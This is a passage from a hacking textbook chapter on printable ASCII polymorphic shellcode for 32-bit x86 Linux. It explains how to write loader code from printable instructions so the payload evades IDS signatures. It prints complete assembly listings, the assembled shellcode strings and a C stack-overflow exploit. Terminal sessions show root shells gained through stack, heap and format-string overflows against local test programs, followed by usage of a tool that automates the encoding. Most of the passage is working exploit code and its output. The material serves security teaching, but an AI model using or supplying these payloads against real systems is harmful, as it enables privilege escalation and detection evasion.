703Using printable characters for NOP sleds can help simplify debugging and can also help prevent detection by simplistic IDS rules searching for long strings of NOP instructions.
704
7050x2a9 Polymorphic Shellcode
706More sophisticated IDSs actually look for common shellcode signatures. But even these systems can be bypassed, by using polymorphic shellcode. This is a technique common among virus writers — it basically hides the true nature of the shellcode in a plethora of different disguises. Usually this is done by writing a loader that builds or decodes the shellcode, which is then, in turn, executed. One common technique is to encrypt the shellcode by XORing values over the shellcode, using loader code to decrypt the shellcode, and then executing the decrypted shellcode. This allows the encrypted shellcode and loader code to avoid detection by the IDS, while the end result is still the same. The same shellcode can be encrypted a myriad of ways, thus making signature-based detection nearly impossible.
707
708There are some existing tools, such as ADMutate, that will XOR-encrypt existing shellcode and attach loader code to it. This is definitely useful, but writing polymorphic shellcode without a tool is a much better learning experience.
709
7100x2aa ASCII Printable Polymorphic Shellcode
711To disguise the shellcode, polymorphic shellcode will be created using all printable characters. The added restriction of only using instructions that assemble into printable ASCII characters presents some challenges and opportunities for clever hacks. But in the end, the generated printable ASCII shellcode should slip past most IDSs, and it can be inserted into restrictive buffers that don't allow unprintable characters, which means it will be able to exploit the previously unexploitable.
712
713The subset of assembly instructions that assemble into machine code instructions and that also happen to fall into the printable ASCII character range (from 0x33 to 0x7e) is actually rather small. This restriction makes writing shellcode significantly more difficult, but not impossible.
714
715Unfortunately, the XOR instruction on the various registers doesn't assemble into the printable ASCII character range. This means that a new method must be devised to zero out registers while still avoiding null bytes and only using printable instructions. Fortunately, another bitwise operation called AND happens to assemble into the % character when using the EAX register. The assembly instruction of and eax, 0x41414141 will assemble to the printable machine code of %AAAA because 0x41 in hexadecimal is the printable character A.
716
717An AND operation transforms bits as follows:
718
7191 and 1 = 1
7200 and 0 = 0
7211 and 0 = 0
7220 and 1 = 0
723
724Because the only case where the end result is a 1 is when both bits are 1, if two inverse values are ANDed onto EAX, EAX will become zero.
725
726 Binary Hexadecimal
727 1000101010011100100111101001010 0x454e4f4a
728AND 0111010001100010011000000110101 AND 0x3a313035
729------------------------------------ ---------------
730 0000000000000000000000000000000 0x00000000
731
732By using this technique involving two printable 32-bit values that are also bitwise inverses of each other, the EAX register can be zeroed without using any null bytes, and the resulting assembled machine code will be printable text.
733
734
735and eax, 0x454e4f4a ; assembles into %JONE
736and eax, 0x3a313035 ; assembles into %501:
737
738So %JONE%501: in machine code will zero out the EAX register. Interesting. Some other instructions that assemble into printable ASCII characters are the following:
739
740sub eax, 0x41414141 -AAAA
741push eax P
742pop eax X
743push esp T
744pop esp \
745
746Amazingly, these instructions, in addition to the AND eax instruction, are enough to build loader code that will build the shellcode onto the stack and then execute it. The general technique is first to set ESP back behind the executing loader code (in higher memory addresses) and then to build the shellcode from end to start by pushing values onto the stack, as shown here.
747
748
749Because the stack grows up (from higher memory addresses to lower memory addresses), the ESP will move backward as values are pushed to the stack, and the EIP will move forward as the loader code executes. Eventually EIP and ESP will meet up, and the EIP will continue executing into the freshly built shellcode.
750
751First ESP must be set back 860 bytes behind the executing loader code by adding 860 to ESP. This value assumes about 200 bytes of NOP sled and takes the size of the loader code into account. This value doesn't need to be exact, because provisions will be made later to allow for some slop. Because the only instruction usable is a subtraction instruction, addition can be simulated by subtracting so much from the register that it wraps around. The register only has 32 bits of space, so adding 860 to a register is the same as subtracting 232 – 860, or 4,294,966,436. However, this subtraction must take place using only printable values, so it's split up across three instructions that all use printable operands.
752
753
754sub eax, 0x39393333 ; assembles into -3399
755sub eax, 0x72727550 ; assembles into -Purr
756sub eax, 0x54545421 ; assembles into -!TTT
757
758The goal is to subtract these values from ESP, not EAX, but the instruction sub esp doesn't assemble into a printable ASCII character. So the current value of ESP must be moved into EAX for the subtraction, and then the new value of EAX must be moved back into ESP.
759
760Because neither mov esp, eax nor mov eax, esp assemble into printable ASCII characters either, this exchange must be done using the stack. By pushing the value from the source register to the stack and then popping that same value off into the destination register, the equivalent of a mov <dest>, <source> instruction can be accomplished with push <source> and pop <dest>. And because the pop and push instructions for both the EAX and ESP registers assemble into printable ASCII characters, this can all be done using printable ASCII.
761
762So the final set of instructions to add 860 to ESP are these:
763
764and eax, 0x454e4f4a ; assembles into %JONE
765and eax, 0x3a313035 ; assembles into %501:
766
767push esp ; assembles into T
768pop eax ; assembles into X
769
770sub eax, 0x39393333 ; assembles into -3399
771sub eax, 0x72727550 ; assembles into -Purr
772sub eax, 0x54545421 ; assembles into -!TTT
773
774push eax ; assembles into P
775pop esp ; assembles into \
776
777This means that %JONE%501:TX-3399-Purr-!TTT-P\ will add 860 to ESP in machine code. So far so good. Now the shellcode must be built.
778
779First EAX must be zeroed out again, but this is easy now that a method has been discovered. Then, by using more sub instructions, the EAX register must be set to the last four bytes of the shellcode, in reverse order. Because the stack normally grows upward (toward lower memory addresses) and builds with a FILO ordering, the first value pushed to the stack must be the last four bytes of the shellcode. These bytes must be backward, due to the little-endian byte ordering. The following is a hexadecimal dump of the tiny shellcode created in the previous chapter, which will be built by the printable loader code:
780
78100000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
78200000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
783
784In this case, the last four bytes are shown in bold; the proper value for the EAX register is 0x80CD0BB0. This is easily accomplished by using sub instructions to wrap the value around, and then EAX can be pushed to the stack. This moves ESP up (toward lower memory addresses) to the end of the newly pushed value, ready for the next four bytes of shellcode (underlined in the preceding shellcode). More sub instructions are used to wrap EAX around to 0x99E18953, and then this value is pushed to the stack. As this process is repeated for each 4-byte chunk, the shellcode is built from end to start, toward the executing loader code.
785
78600000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
78700000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
788
789Eventually, the beginning of the shellcode is reached, but there are only three bytes left (underlined in the preceding shellcode) after pushing 0xC931DB31 to the stack. This situation is alleviated by inserting one single-byte NOP instructions at the beginning of the code, resulting in the value 0x58466A90 being pushed to the stack — 0x90 is machine code for NOP.
790
791The code for the entire process is as follows:
792
793and eax, 0x454e4f4a ; Zero out the EAX register again
794and eax, 0x3a313035 ; using the same trick
795
796sub eax, 0x344b4b74 ; Subtract some printable values
797sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0
798sub eax, 0x25795075 ; (took 3 instructions to get there)
799push eax ; and then push EAX to the stack
800
801sub eax, 0x6e784a38 ; Subtract more printable values
802sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953
803push eax ; and then push this to the stack
804
805sub eax, 0x64646464 ; Subtract more printable values
806sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e
807sub eax, 0x7962644a ; (took 3 instructions to get there)
808push eax ; and then push EAX to the stack
809
810sub eax, 0x55257555 ; Subtract more printable values
811sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
812sub eax, 0x52257441 ; (took 3 instructions to get there)
813push eax ; and then push EAX to the stack
814
815sub eax, 0x77777777 ; Subtract more printable values
816sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f
817sub eax, 0x56443973 ; (took 3 instructions to get there)
818push eax ; and then push EAX to the stack
819
820sub eax, 0x254f2572 ; Subtract more printable values
821sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd
822sub eax, 0x756d4479 ; (took 3 instructions to get there)
823push eax ; and then push EAX to the stack
824
825sub eax, 0x43434343 ; Subtract more printable values
826sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31
827sub eax, 0x36653234 ; (took 3 instructions to get there)
828push eax ; and then push EAX to the stack
829
830sub eax, 0x387a3848 ; Subtract more printable values
831sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
832push eax ; and then push EAX to the stack
833
834After all that, the shellcode has been built somewhere after the loader code, most likely leaving a gap between the newly built shellcode and the executing loader code. This gap can be bridged by building a NOP sled between the loader code and the shellcode.
835
836Once again, sub instructions are used to set EAX to 0x90909090, and EAX is repeatedly pushed to the stack. With each push instruction, four NOP instructions are tacked onto the beginning of the shellcode. Eventually, these NOP instructions will build right over the executing push instructions of the loader code, allowing the EIP and program execution to flow over the sled into the shellcode. The final results with comments look like this:
837
838print.asm
839BITS 32
840and eax, 0x454e4f4a ; Zero out the EAX register
841and eax, 0x3a313035 ; by ANDing opposing, but printable bits
842
843push esp ; Push ESP to the stack, and then
844pop eax ; pop that into EAX to do a mov eax, esp
845
846sub eax, 0x39393333 ; Subtract various printable values
847sub eax, 0x72727550 ; from EAX to wrap all the way around
848sub eax, 0x54545421 ; to effectively add 860 to ESP
849
850push eax ; Push EAX to the stack, and then
851pop esp ; pop that into ESP to do a mov eax, esp
852
853; Now ESP is 860 bytes further down (in higher memory addresses)
854; which is past our loader bytecode that is executing now.
855
856and eax, 0x454e4f4a ; Zero out the EAX register again
857and eax, 0x3a313035 ; using the same trick
858sub eax, 0x344b4b74 ; Subtract some printable values
859sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0
860sub eax, 0x25795075 ; (took 3 instructions to get there)
861push eax ; and then push EAX to the stack
862
863sub eax, 0x6e784a38 ; Subtract more printable values
864sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953
865push eax ; and then push this to the stack
866
867sub eax, 0x64646464 ; Subtract more printable values
868sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e
869sub eax, 0x7962644a ; (took 3 instructions to get there)
870push eax ; and then push EAX to the stack
871
872sub eax, 0x55257555 ; Subtract more printable values
873sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
874sub eax, 0x52257441 ; (took 3 instructions to get there)
875push eax ; and then push EAX to the stack
876
877sub eax, 0x77777777 ; Subtract more printable values
878sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f
879sub eax, 0x56443973 ; (took 3 instructions to get there)
880push eax ; and then push EAX to the stack
881
882sub eax, 0x254f2572 ; Subtract more printable values
883sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd
884sub eax, 0x756d4479 ; (took 3 instructions to get there)
885push eax ; and then push EAX to the stack
886
887sub eax, 0x43434343 ; Subtract more printable values
888sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31
889sub eax, 0x36653234 ; (took 3 instructions to get there)
890push eax ; and then push EAX to the stack
891
892sub eax, 0x387a3848 ; Subtract more printable values
893sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
894push eax ; and then push EAX to the stack
895
896; add a NOP sled
897sub eax, 0x6a346a6a ; Subtract more printable values
898sub eax, 0x254c3964 ; from EAX to wrap EAX to 0x90909090
899sub eax, 0x38353632 ; (took 3 instructions to get there)
900push eax ; and then push EAX to the stack
901push eax ; many times to build a NOP sled
902push eax ; to bridge the loader code to the
903push eax ; freshly built shellcode.
904push eax
905push eax
906push eax
907push eax
908push eax
909push eax
910push eax
911push eax
912push eax
913push eax
914push eax
915push eax
916
917This assembles into a printable ASCII string, which doubles as executable machine code.
918
919$ nasm print.asm
920$ cat print
921
922The machine code looks like this:
923
924%JONE%501:TX-3399-Purr-!TTTP\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-
925pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-
9262658PPPPPPPPPPPPPPPP
927
928This code can be used in a stack-based overflow exploit when the beginning of the printable shellcode is located near the current stack pointer, because the stack pointer is relocated relative to the current stack pointer by the loader code. Fortunately, this is the case when the code is stored in the exploit buffer.
929
930The following code is the original exploit.c code from the previous chapter, modified to use the printable ASCII shellcode.
931
932printable_exploit.c
933#include <stdlib.h>
934
935char shellcode[] =
936"%JONE%501:TX-3399-Purr-!TTTP\\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-777j-
937JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-
938jj4j-d9L%-2658PPPPPPPPPPPPPPPP";
939
940unsigned long sp(void) // This is just a little function
941{ __asm__("movl %esp, %eax");} // used to return the stack pointer
942
943int main(int argc, char *argv[])
944{
945 int i, offset;
946 long esp, ret, *addr_ptr;
947 char *buffer, *ptr;
948 if(argc < 2) // If no offset if given on command line
949 { // Print a usage message
950 printf("Use %s <offset>\nUsing default offset of 0\n",argv[0]);
951 offset = 0; // and set a default offset of 0.
952 }
953 else // Otherwise, use the offset given on command line
954 {
955 offset = atoi(argv[1]); // offset = offset given on command line
956 }
957 esp = sp(); // Put the current stack pointer into esp
958 ret = esp - offset; // We want to overwrite the ret address
959
960 printf("Stack pointer (EIP) : 0x%x\n", esp);
961 printf(" Offset from EIP : 0x%x\n", offset);
962 printf("Desired Return Addr : 0x%x\n", ret);
963
964// Allocate 600 bytes for buffer (on the heap)
965 buffer = malloc(600);
966
967// Fill the entire buffer with the desired ret address
968 ptr = buffer;
969 addr_ptr = (long *) ptr;
970 for(i=0; i < 600; i+=4)
971 { *(addr_ptr++) = ret; }
972
973// Fill the first 200 bytes of the buffer with "NOP" instructions
974 for(i=0; i < 200; i++)
975 { buffer[i] = '@'; } // Use a printable single-byte instruction
976
977// Put the shellcode after the NOP sled
978 ptr = buffer + 200 - 1;
979 for(i=0; i < strlen(shellcode); i++)
980 { *(ptr++) = shellcode[i]; }
981
982// End the string
983 buffer[600-1] = 0;
984
985// Now call the program ./vuln with our crafted buffer as its argument
986 execl("./vuln", "vuln", buffer, 0);
987
988 return 0;
989}
990
991This is basically the same exploit code from before, but it uses the new printable shellcode and a printable single-byte instruction to create the NOP sled. Also, notice that the backslash character in the printable shellcode is escaped with another backslash to appease the compiler. This would be unnecessary if the printable shellcode were defined using hex characters. The following output shows the exploit program being compiled and executed, yielding a root shell.
992
993$ gcc -o exploit2 printable_exploit.c
994$ ./exploit2 0
995Stack pointer (EIP) : 0xbffff7f8
996 Offset from EIP : 0x0
997Desired Return Addr : 0xbffff7f8
998sh-2.05b# whoami
999root
1000sh-2.05b#
1001
1002Excellent, the printable shellcode works. And because there are many different combinations of sub instruction values that will wrap EAX around to each desired value, the shellcode also possesses polymorphic qualities. Changing these values will result in mutated or different-looking shellcode that will still achieve the same end results.
1003
1004Exploiting using printable characters can be done on the command line too, using a NOP sled that would make Mr. T proud.
1005
1006$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.?
10070xbffff844
1008$ ./vuln 'perl -e 'print "JIBBAJABBA"x20;'"cat print"perl -e 'print
1009"\x44\xf8\xff\xbf"x40;''
1010sh-2.05b# whoami
1011root
1012sh-2.05b#
1013
1014However, this printable shellcode won't work if it is stored in an environment variable, because the stack pointer won't be in the same location. In order for the real shellcode to be written to a place accessible by the printable shellcode, a new tactic is needed. One option is to calculate the location of the environment variable and modify the printable shellcode each time, to place the stack pointer about 50 bytes past the end of the printable loader code to allow for the real shellcode to be built.
1015
1016While this is possible, a simpler solution exists. Because environment variables tend to be located near the bottom of the stack (in the higher memory addresses), the stack pointer can just be set to an address near the bottom of the stack, such as 0xbfffffe0. Then the real shellcode will be built from this point backward, and a large NOP sled can be built to bridge the gap between the printable shellcode (loader code in the environment) and the real shellcode. The next page shows a new version of the printable shellcode that does this.
1017
1018print2.asm
1019
1020BITS 32
1021and eax, 0x454e4f4a ; Zero out the EAX register
1022and eax, 0x3a313035 ; by ANDing opposing, but printable bits
1023
1024sub eax, 0x59434243 ; Subtract various printable values
1025sub eax, 0x6f6f6f6f ; from EAX to set it to 0xbfffffe0
1026sub eax, 0x774d4e6e ; (no need to get the current ESP this time)
1027
1028push eax ; Push EAX to the stack, and then
1029pop esp ; pop that into ESP to do a mov eax, esp
1030
1031; Now ESP is at 0xbfffffe0
1032; which is past the loader bytecode that is executing now.
1033
1034and eax, 0x454e4f4a ; Zero out the EAX register again
1035and eax, 0x3a313035 ; using the same trick
1036
1037sub eax, 0x344b4b74 ; Subtract some printable values
1038sub eax, 0x256e5867 ; from EAX to wrap EAX to 0x80cd0bb0
1039sub eax, 0x25795075 ; (took 3 instructions to get there)
1040push eax ; and then push EAX to the stack
1041
1042sub eax, 0x6e784a38 ; Subtract more printable values
1043sub eax, 0x78733825 ; from EAX to wrap EAX to 0x99e18953
1044push eax ; and then push this to the stack
1045
1046sub eax, 0x64646464 ; Subtract more printable values
1047sub eax, 0x6a373737 ; from EAX to wrap EAX to 0x51e3896e
1048sub eax, 0x7962644a ; (took 3 instructions to get there)
1049push eax ; and then push EAX to the stack
1050
1051sub eax, 0x55257555 ; Subtract more printable values
1052sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
1053sub eax, 0x52257441 ; (took 3 instructions to get there)
1054push eax ; and then push EAX to the stack
1055
1056sub eax, 0x77777777 ; Subtract more printable values
1057sub eax, 0x33334f4f ; from EAX to wrap EAX to 0x68732f2f
1058sub eax, 0x56443973 ; (took 3 instructions to get there)
1059push eax ; and then push EAX to the stack
1060
1061sub eax, 0x254f2572 ; Subtract more printable values
1062sub eax, 0x65654477 ; from EAX to wrap EAX to 0x685180cd
1063sub eax, 0x756d4479 ; (took 3 instructions to get there)
1064push eax ; and then push EAX to the stack
1065
1066sub eax, 0x43434343 ; Subtract more printable values
1067sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31
1068sub eax, 0x36653234 ; (took 3 instructions to get there)
1069push eax ; and then push EAX to the stack
1070
1071sub eax, 0x387a3848 ; Subtract more printable values
1072sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
1073push eax ; and then push EAX to the stack
1074
1075; add a NOP sled
1076sub eax, 0x6a346a6a ; Subtract more printable values
1077sub eax, 0x254c3964 ; from EAX to wrap EAX to 0x90909090
1078sub eax, 0x38353632 ; (took 3 instructions to get there)
1079push eax ; and then push EAX to the stack
1080push eax ; many times to build a NOP sled
1081push eax ; to bridge the loader code to the
1082push eax ; freshly built shellcode.
1083push eax
1084push eax
1085push eax
1086push eax
1087push eax
1088push eax
1089push eax
1090push eax
1091push eax
1092push eax
1093push eax
1094push eax
1095push eax
1096push eax
1097push eax
1098push eax
1099push eax
1100push eax
1101push eax
1102push eax
1103push eax
1104push eax
1105push eax
1106push eax
1107push eax
1108push eax
1109push eax
1110push eax
1111push eax
1112push eax
1113
1114In the following two output boxes, the preceeding code is assembled and displayed.
1115
1116$ nasm print2.asm
1117$ cat print2
1118
1119assembled print2 shellcode
1120%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-
1121At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-
11222658PPPPPPPPPPPPPPPP
1123
1124This modified version of the printable shellcode is basically the same, but instead of setting the stack pointer relative to the current stack pointer, it is simply set to 0xbfffffe0. The number of NOP sled-building push instructions at the end may need to be varied, depending on where the shellcode is located.
1125
1126Let's try out the new printable shellcode:
1127
1128$ export ZPRINTABLE=JIBBAJABBAHIJACK'cat print2'
1129$ env
1130MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-pc-linux-
1131gnu/3.2/man:/usr/X11R6/man:/opt/insight/man
1132INFODIR=/usr/share/info:/usr/X11R6/info
1133HOSTNAME=overdose
1134TERM=xterm
1135SHELL=/bin/sh
1136SSH_CLIENT=192.168.0.118 1840 22
1137SSH_TTY=/dev/pts/2
1138MOZILLA_FIVE_HOME=/usr/lib/mozilla
1139USER=matrix
1140PAGER=/usr/bin/less
1141CONFIG_PROTECT_MASK=/etc/gconf
1142PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-
1143bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk-
11441.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/usr/sbin:
1145/usr/local/sbin:/home/matrix/bin
1146PWD=/hacking
1147JAVA_HOME=/opt/sun-jdk-1.4.0
1148EDITOR=/bin/nano
1149JAVAC=/opt/sun-jdk-1.4.0/bin/javac
1150PS1=\$
1151CXX=g++
1152JDK_HOME=/opt/sun-jdk-1.4.0
1153SHLVL=1
1154HOME=/home/matrix
1155ZPRINTABLE=JIBBAJABBAHIJACK%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-uPy%P-
11568Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-
1157%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1158LESS=-R
1159LOGNAME=matrix
1160CVS_RSH=ssh
1161LESSOPEN=|lesspipe.sh %s
1162INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-gnu/3.2/info
1163CC=gcc
1164G_BROKEN_FILENAMES=1
1165_=/usr/bin/env
1166$ ./getenvaddr ZPRINTABLE
1167ZPRINTABLE is located at 0xbffffe63
1168$ ./vuln2 'perl -e 'print "\x63\xfe\xff\xbf"x9;''
1169sh-2.05b# whoami
1170root
1171sh-2.05b#
1172
1173This works fine, because ZPRINTABLE is located near the end of the environment. If it were any closer to the end, extra characters would need to be added to the end of the printable shellcode to save space for the real shellcode to be built. If the printable shellcode is located further away from the end, a longer NOP sled will be needed to bridge the gap. An example of this follows:
1174
1175$ unset ZPRINTABLE
1176$ export SHELLCODE=JIBBAJABBAHIJACK'cat print2'
1177$ env
1178MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-pc-linux-
1179gnu/3.2/man:/usr/X11R6/man:/opt/insight/man
1180INFODIR=/usr/share/info:/usr/X11R6/info
1181HOSTNAME=overdose
1182SHELLCODE=JIBBAJABBAHIJACK%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-uPy%P-
11838Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-
1184%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1185TERM=xterm
1186SHELL=/bin/sh
1187SSH_CLIENT=192.168.0.118 1840 22
1188SSH_TTY=/dev/pts/2
1189MOZILLA_FIVE_HOME=/usr/lib/mozilla
1190USER=matrix
1191PAGER=/usr/bin/less
1192CONFIG_PROTECT_MASK=/etc/gconf
1193PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-
1194bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk-
11951.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/usr/sbin:
1196/usr/local/sbin:/home/matrix/bin
1197PWD=/hacking
1198JAVA_HOME=/opt/sun-jdk-1.4.0
1199EDITOR=/bin/nano
1200JAVAC=/opt/sun-jdk-1.4.0/bin/javac
1201PS1=\$
1202CXX=g++
1203JDK_HOME=/opt/sun-jdk-1.4.0
1204SHLVL=1
1205HOME=/home/matrix
1206LESS=-R
1207LOGNAME=matrix
1208CVS_RSH=ssh
1209LESSOPEN=|lesspipe.sh %s
1210INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-gnu/3.2/info
1211CC=gcc
1212G_BROKEN_FILENAMES=1
1213_=/usr/bin/env
1214$ ./getenvaddr SHELLCODE
1215SHELLCODE is located at 0xbffffc03
1216$ ./vuln2 'perl -e 'print "\x03\xfc\xff\xbf"x9;''
1217Segmentation fault
1218$ export SHELLCODE=JIBBAJABBAHIJACK'cat
1219print2'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1220PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1221P
1222$ ./getenvaddr SHELLCODE
1223SHELLCODE is located at 0xbffffb63
1224$ ./vuln2 'perl -e 'print "\x63\xfb\xff\xbf"x9;''
1225sh-2.05b# whoami
1226root
1227sh-2.05b#
1228
1229Now that working printable shellcode exists in an environment variable, it can be used with heap-based overflows and format-string exploits.
1230
1231Here is an example of printable shellcode being used in the heap-based overflow from before:
1232
1233$ unset SHELLCODE
1234$ export ZPRINTABLE='cat print2'
1235$ getenvaddr ZPRINTABLE
1236ZPRINTABLE is located at 0xbffffe73
1237$ pcalc 0x73 + 4
1238 119 0x77 0y1110111
1239$ ./bss_game 12345678901234567890'printf "\x77\xfe\xff\xbf"'
1240---DEBUG--
1241[before strcpy] function_ptr @ 0x8049c88: 0x8048662
1242[*] buffer @ 0x8049c74: 12345678901234567890wÞÿ¿
1243[after strcpy] function_ptr @ 0x8049c88: 0xbffffe77
1244----------
1245
1246sh-2.05b# whoami
1247root
1248sh-2.05b#
1249
1250And here is an example of printable shellcode being used in a format-string exploit:
1251
1252$ getenvaddr ZPRINTABLE
1253ZPRINTABLE is located at 0xbffffe73
1254$ pcalc 0x73 + 4
1255 119 0x77 0y1110111
1256$ nm ./fmt_vuln | grep DTOR
12570804964c d __DTOR_END__
125808049648 d __DTOR_LIST__
1259$ pcalc 0x77 - 16
1260 103 0x67 0y1100111
1261$ pcalc 0xfe - 0x77
1262 135 0x87 0y10000111
1263$ pcalc 0x1ff - 0xfe
1264 257 0x101 0y100000001
1265$ pcalc 0x1bf - 0xff
1266 192 0xc0 0y11000000
1267$ ./fmt_vuln 'printf
1268"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08"'%3\$103x%4\$n%3\
1269$135x%5\$n%3\$257x%6\$n%3\$192x%7\$n
1270The right way:
1271%3$103x%4$n%3$135x%5$n%3$257x%6$n%3$192x%7$n
1272The wrong way:
1273
1274 0
1275
1276 0
1277
1278 0
1279
1280 0
1281[*] test_val @ 0x08049570 = -72 0xffffffb8
1282sh-2.05b# whoami
1283root
1284sh-2.05b#
1285
1286Printable shellcode like this could be used to exploit a program that normally does input validation to restrict against nonprintable characters.
1287
12880x2ab Dissembler
1289Phiral Research Laboratories has provided a useful tool called dissembler, that uses the same technique shown previously to generate printable ASCII bytecode from an existing piece of bytecode. This tool is available at http://www.phiral.com.
1290
1291$ ./dissembler
1292dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1293 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1294 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1295
1296Usage: ./dissembler [switches] bytecode
1297
1298Optional dissembler switches:
1299 -t <target address> near where the bytecode is going
1300 -N optimize with ninja magic
1301 -s <original size> size changes target, adjust with orig size
1302 -b <NOP bridge size> number of words in the NOP bridge
1303 -c <charset> which chars are considered printable
1304 -w <output file> write dissembled code to output file
1305 -e escape the backlash in output
1306
1307By default, dissembler will start building the shellcode at the end of the stack and then try to build a NOP bridge (or sled) from the loader code to the newly built code. The size of the bridge can be controlled with the -b switch. This is demonstrated with the vuln2.c program from earlier in the chapter:
1308
1309$ cat vuln2.c
1310int main(int argc, char *argv[])
1311{
1312 char buffer[5];
1313 strcpy(buffer, argv[1]);
1314 return 0;
1315}
1316$ gcc -o vuln2 vuln2.c
1317$ sudo chown root.root vuln2
1318$ sudo chmod +s vuln2
1319
1320$ dissembler -e -b 300 tinyshell
1321dissembler 0.9 - polymorphs bytecode to a printable ASCII string
1322 - Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
1323 438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
1324
1325[e] Escape the backslash: ON
1326[b] Bridge size: 300 words
1327[*] Dissembling bytecode from 'tinyshell'...
1328
1329[+] dissembled bytecode is 461 bytes long.
1330--
1331%83D5%AD0H-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-05qvP-VVVV-bbbx--GEyP-Sf6S-Pz%P-
1332cy%EP-xxxx-PP5P-q7A8P-w777-wIpp-t-zXP-GHHH-00x%-%-_1P-jKzK-7%q%P-0000-yy11-
1333W0TfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1334PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1335PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1336PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
1337$ export SHELLCODE=%83D5%AD0H-hhhh-KKKh-VLLoP\\-kDDk-vMvc-fbxpP--Mzp-05qvP-VVVV-
1338bbbx--GEyP-Sf6S-Pz%P-cy%EP-xxxx-PP5P-q7A8P-w777-wIpp-t-zXP-GHHH-00x%-%-_1P-jKzK-
13397%q%P-0000-yy11-
1340W0TfPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
